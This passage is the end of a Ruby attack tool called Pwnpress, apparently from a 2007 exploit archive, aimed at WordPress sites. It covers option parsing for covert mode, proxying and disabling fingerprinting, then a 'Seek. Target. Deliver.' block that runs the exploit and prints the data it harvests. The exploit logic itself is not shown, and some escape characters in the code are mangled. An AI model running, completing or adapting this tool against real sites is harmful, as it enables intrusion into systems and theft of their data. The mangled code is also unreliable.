            opts.on("-c", "--covert LEVEL", "Covert level (0-2)") do |c|
                OPTIONS[:covert_level] = c
            end
            
            opts.on("-i", "--irb", "Execute an interactive IRB shell") do |i|
                OPTIONS[:irb_shell] = i
            end
            
            opts.on("--proxy HOST:PORT", "Use proxy at given host and port") do |p|
                unless p =~ /(.*):(.*)/i
                    raise "Proxy setting must be in form: host:port"
                end
                proxy = p.scan(/(.*):(.*)/i).flatten!
                OPTIONS[:proxy_host] = proxy[0]
                OPTIONS[:proxy_port] = proxy[1].to_i
            end
            
            opts.on("-f", "--[no-]fingerprint", "Disable fingerprinting") do |f|
                OPTIONS[:fingerprint] = false
            end
            
            opts.separator ""
        end.parse!
    rescue
        puts "> Please check arguments validity. See --help."
        puts "Error: " + $!
        exit
    end
    
    vputs "Settings:"
    vputs "  target:      #{OPTIONS[:target]}"
    vputs "  fingerprint: #{OPTIONS[:fingerprint]}"
    vputs "  wp version:  #{OPTIONS[:version]}"
    
    if OPTIONS[:proxy_host] and OPTIONS[:proxy_port]
        vputs "  proxy host:  #{OPTIONS[:proxy_host]}"
        vputs "  proxy port:  #{OPTIONS[:proxy_port]}"
    end
    if OPTIONS[:username] and OPTIONS[:password]
        vputs "  username:    #{OPTIONS[:username]}"
        vputs "  password:    #{OPTIONS[:password]}"
    end

    # Seek. Target. Deliver.
    begin
        pwnInstance = Pwnpress.new(OPTIONS)
        
        if OPTIONS[:irb_shell]
            puts "> Executing interactive IRB shell, have fun."
            IRB.start
            puts "> Continuing..."
        end

        pwnInstance.exploit
        
        puts "> Finished. Dumping results, if any."
        if pwnInstance.results.size > 0
            puts ""
            pwnInstance.results.each do |r|
                $stderr.puts "-------------------- RESULTS: " + r[0].to_s
                $stderr.puts " Data type: " + r[1][:data_type].to_s
                $stderr.puts " Size:      " + r[1][:data].size.to_s
                
                # This obscure piece of code simply pretty-prints data contained
                # in a hash. We use a generic method to avoid code bloat and
                # do it as elegant as possible.
                r[1][:data].each do |n|
                    str = "n" + (" " * 2) + n[0].to_s + "n"
                    n[1].each do |i|
                        str << (" " * 3) + i[0].to_s
                        str << "t : #{i[1].to_s}n"
                    end
                    
                    $stderr.print(str)
                end
                puts ""
            end
        end
    rescue => e
        puts "> Error: #{e.message}"
        puts "> Ruby backtrace follows:"
        puts e.backtrace
    end
end

# www.Syue.com [2007-09-14]